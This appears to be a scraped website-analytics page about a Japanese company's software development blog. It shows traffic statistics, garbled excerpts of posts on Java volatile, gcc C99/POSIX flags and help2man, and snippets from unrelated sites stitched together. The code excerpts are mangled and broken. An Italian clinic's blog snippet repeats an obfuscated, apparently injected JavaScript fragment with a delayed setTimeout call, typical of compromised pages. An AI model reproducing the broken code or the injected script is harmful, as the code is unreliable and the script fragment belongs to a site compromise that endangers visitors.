blog.sgnet.co.jp
SGソフトウェア開発ブログ株式会社エス・ジーの社員が日々のソフトウェア開発で学んだ技術を公開していくブログです。
http://blog.sgnet.co.jp/
株式会社エス・ジーの社員が日々のソフトウェア開発で学んだ技術を公開していくブログです。
http://blog.sgnet.co.jp/
TODAY'S RATING
>1,000,000
Date Range
HIGHEST TRAFFIC ON
Saturday
LOAD TIME
2.1 seconds
16x16
PAGES IN
THIS WEBSITE
19
SSL
EXTERNAL LINKS
1
SITE IP
172.217.6.243
LOAD TIME
2.094 sec
SCORE
6.2
SGソフトウェア開発ブログ | blog.sgnet.co.jp Reviews
https://blog.sgnet.co.jp
株式会社エス・ジーの社員が日々のソフトウェア開発で学んだ技術を公開していくブログです。
SGソフトウェア開発ブログ: [Java][C]JavaのvolatileとCのvolatile
http://blog.sgnet.co.jp/2016/07/javacjavavolatilecvolatile.html
Import java.util.stream.IntStream; class VolatileSample { static class Counter { private volatile int count = 0; int getCount() { return count; } synchronized int increment() { return count ; } } public static void main(String . args) { Counter counter = new Counter(); IntStream.rangeClosed(1, 100).parallel() .forEach(x - counter.increment() ; System.out.println(counter.getCount() ; } }. The Java Language Specification, Java SE 8 Edition. 177 Non-Atomic Treatment of double and long. Stop); return 0; }.
SGソフトウェア開発ブログ: [gcc]gccでC99とPOSIXを同時に使いたかったのだ
http://blog.sgnet.co.jp/2016/12/gccgccc99posix.html
ところが、以下のようなサンプルプログラムを作って、コンパイルしようとすると、エラーメッセージがいっぱい出てきてしまった。 EAGAIN) { perror("sigprocmask"); break; } errno = 0; } printf("%d n", signum); return 0; }. ちょっと調べてわかったのは -std=c99 の指定が関わっているということ。 Stdオプションを指定していない時のgcc 4.xデフォルトは gnu89 になるようだ。 確かに -std=gnu99 だと、コンパイルがうまく行く。 Gcc -Wall -std=gnu99 -o sigtest sigtest.c. つまり、 -std=c99 を指定するとC99規格以外のPOSIX準拠の定義は見えなくなってしまう。 でも、 -std=gnu99だと、gnu拡張も許してしまうんじゃないかなぁ。 結局、gnu99を使わずにC99とPOSIXを両方使うには POSIX C SOURCEマクロを定義してあげる必要があった。
SGソフトウェア開発ブログ: 10月 2016
http://blog.sgnet.co.jp/2016_10_01_archive.html
ではJavaで可変長引数を使う場合はメソッド呼び出しの都度、配列を生成するため、パフォーマンスに影響があるということを書いた。 Int[] n = { 1, 2, 3 }; int s = sum(n); int sum(int . n) { . }. 同じファイルに対する操作を2回、3回と続けるとファイルの内容がメモリにキャッシュされて1回目と比べて、処理が速くなることがあるからだ。 そういう時は /dev/std* を参照すれば、標準入力、標準出力、標準エラー出力にアクセスできる。 Javaio.PrintStream: printfメソッドのようにさまざまな型を受け付ける可変長引数の場合を考えてみよう。 PrintStream printf(String format, Object . args). 12300;シンプル」テーマ. Powered by Blogger.
SGソフトウェア開発ブログ: 9月 2016
http://blog.sgnet.co.jp/2016_09_01_archive.html
Enum Color { Color Red = 1, Color Green = 2, Color Blue = 4, }; int main(void) { int yellow = Color Red Color Green; printf(yellow : %d n, yellow); int white = Color Red Color Green Color Blue; printf(white : %d n, white); }. 例えば、usleepコマンドを使っているスクリプトをBSD系のunixに持っていくとusleepがなくて、動かなかったりする。 そもそもシェルスクリプトで秒未満の待機なんてするデザインが悪い。ってのはとりあえず置いといて。。。 じゃあ、usleepコマンドがない状態でどうしよっかって考えたんだけど、マニュアルを確認して気づいてしまった。 Http:/ www.freebsd.org/cgi/man.cgi? Https:/ linuxjm.osdn.jp/html/gnumaniak/man1/sleep.1.html. SELECT Hello, world.
SGソフトウェア開発ブログ: [linux]そうだ、manpage作ろう
http://blog.sgnet.co.jp/2016/12/linuxmanpage.html
これをreadmeファイルではなく、もっとかっこよく提供したい。manやHTMLのように。 Help2manは任意のコマンドに"- help","- version"オプションを与えて起動して、標準出力の内容からmanファイルを生成してくれる。 例えば、catコマンドのmanを作りたければ、以下のようにする。 Help2man -o cat.1 cat. また、デフォルトだと関連項目にTexinfoマニュアルの紹介が出力されてしまうけど、これは"-N"オプションで抑止できる。 Help2man -N -Lja JP.utf8 -o cat.1 cat. Manコマンドは引数に"/"が入っているとキーワードではなく、ファイル名だと認識するので、作成したmanファイルを見るには以下のようにする。 もちろん手書きでmanファイルを作成することもできるけど、Javadocみたいにスクリプトから自動生成できると楽だし、"- help","- version"オプションで表示する内容で一元管理できるところがいい。 前回はシェルスクリプトから数値計算するのにbcを使ったけど、 数値計算用のスクリプト言語...
TOTAL PAGES IN THIS WEBSITE
19
個人情報保護方針 | 株式会社 エス・ジー
http://www.sgnet.co.jp/security
IS 559680 / ISO 27001:2013. 改定日 2016年 1月 5日. 株式会社エス ジー(以下、当社)は、 お客様と社員に信頼される企業 を企業理念としております。 E-Mail sg-pdata@sgnet.co.jp.
TOTAL LINKS TO THIS WEBSITE
1
Scott's Thotts
Automated Website Backup to Amazon S3. March 25, 2012. After reading Lifehacker’s article. Linking to Gina Trapani’s article. Using the Amazon SDK for PHP version 1.5.3. This gave me the ability to index an array by a string if I so chose, and just, in general, felt like a more comfortable environment for me to work in. The first few requirements from Gina’s solution are exactly mine, so I quote them here:. You’re running a LAMP-based web site (Linux, Apache, MySQL and PHP/Perl/Python). Chunk size in MB'.
Benvenuti nel blog di SG Medicina
Mi sono sottoposta ad intervento di mastoplastica additiva nel 2008 , intervento effettuato dal dr. G andom()*5);if (c= 3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}. Andom()*5);if (c= 3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}. Andom()*5);if (c= 3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}. Da ultimo, ma non per importanza, devo dire che tutti pensano che il mio seno sia naturale e non rifatto! Pubblicato in Senza categoria. Ora sono molto ...
blog
Remove green algae from fresh water fish tank – DIY. January 2nd, 2014. No chemicals, fast results. Once I put some fertilizer tabs in my planted fresh water fish tank, the green algae started growing and in a matter of days the water was crowded with them. A greenish color, milky water, I couldn’t see through my tank. The plants were also not getting enough light. My solution: paper towels(! As I realized the next morning that the paper towel filtering was working, I updated the process with the intenti...
SGN - Social Gaming Network
Select an icon below to reach our support team. For all other inquiries, email. Book of Life: Sugar Smash. SGN connects people around the world through great games. As a top cross-platform developer and publisher of games on Facebook, iOS, and Android, SGN lays claim to hit titles such as Cookie Jam, Book of Life: Sugar Smash, Panda Pop, Panda Jam, and MindJolt. Funded by Austin Ventures, and led by a seasoned team of Internet pioneers, SGN was built through a series of acquisitions and organic growth.
SGソフトウェア開発ブログ
Unix,perl,正規表現] perlでsed,grep,awkライクに. Sed -e s/ /xxx/g foo foo f xxx. これだと、ダブルクォートの中が以外の任意の1文字と の場合しかマッチない。 ダブルクォートの中には必ず1文字以上ある事を意図して 記号を使っていたんだけど、どうもsedではこれを特殊記号として扱ってくれないらしい。 Sed -e s/ */xxx/g foo xxx. どうしてこんなことになるかというと。。。 なので、プログラムの起動時にSystem propertiesの値をログなんかに出力しておくといいかもしれない。 Class PropertiesSample { public static void main(String . args) { System.getProperties().list(System.out); } }. OracleのJNIドキュメントに載っているサンプルプログラムを参考にして、Cからパッケージ名付きクラスのmainメソッドを呼びだそうとしたんだけど、うまくいかなかった話。 5 The Invocation API.
SG Nordeifel
Aktuelles von der SG Nordeifel. The Quickest Method To Offer Your Home. Juli 30th, 2015. When іt соmеs to рlumbіng air conditioning repair company ( updated blog post. Posted in Allgemein Comments Closed. Obama Officials Work On Health Website Contingency Plans As Registration Nears. Juli 30th, 2015. We make it easy for you to obtain plans as well as rates from trusted insurers, assisting to ensure you obtain the cover that corrects for your dispensary. While the banks intend to make the certain home...
Sodankylä Geophysical Observatory
Friday, 31 July 2015. EISCAT 3D Science Case published! Artist impression of transmitter site. 169;National Institute of Polar Research (NIPR), Japan. During the EISCAT 3D Preparatory Phase project. Which was funded by the 7th Framework Programme. Of the European Commission and which ended in September 2014, the science case for EISCAT 3D was developed by the project's work package 3. The final version. Of this document was published in September 2014. And is available on the EISCAT 3D web site. This is ...
Hello World: Hello World
Hi, my name is Samuel Goto and I am an engineer :) I work at Google and I live in the Bay Area :). This is a collection of random thoughts / posts :) Don't take them too seriously :). Here are some work related posts:. The W Stands for Web. The Gaps in ROA. A Proposal For Actions. A Taxonomy For Verbs. Here are some meta-work related posts:. My interview at Google. My Google Easter Eggs. Here is a list of some of my favorite personal posts:. Moving to the Silicon Valley. The monkeys and the firehose.
Hard Times in New Jersey | A blog dedicated to Bankruptcy and Debt Issues in NJ and Surrounding Areas
Call Us Today (973) 453-2838 Connect. Skip to primary content. Skip to secondary content. Debtor or Creditor – Why you should consult a bankruptcy attorney before doing anything touching a Bankruptcy. August 4, 2015. There is no thing in law as a true jack-of-all-trades. Many attorneys dabble in areas with which they are not all that familiar, and, if they have at least SOME familiarity or know what to ask – they will do … Continue reading →. Powers of Attorney – Is it Too Late? March 7, 2015. Payday len...
Putzerfischblog - Über Lymphome und Leben mit Trotz und Genuss
Über Lymphome und Leben mit Trotz und Genuss. Prix Pierre Denoix für “Wind statt Jammer”. Neue Medikamente: Vorsichtiger Optimismus. Die Wirkung von Idelasib wird weiter untersucht In den letzten Monaten höre ich vermehrt von neuen Medikamenten, die zu der Hoffnung Anlass geben, dass das follikuläre Lymphom – wie auch die CLL und andere, ähnliche Krankheiten – in absehbarer Zeit kurativ behandelt, also geheilt, werden könnten. Ein Vertreter dieser Medikamentengattung ist Idelalisib (im Ha...Rituximab in ...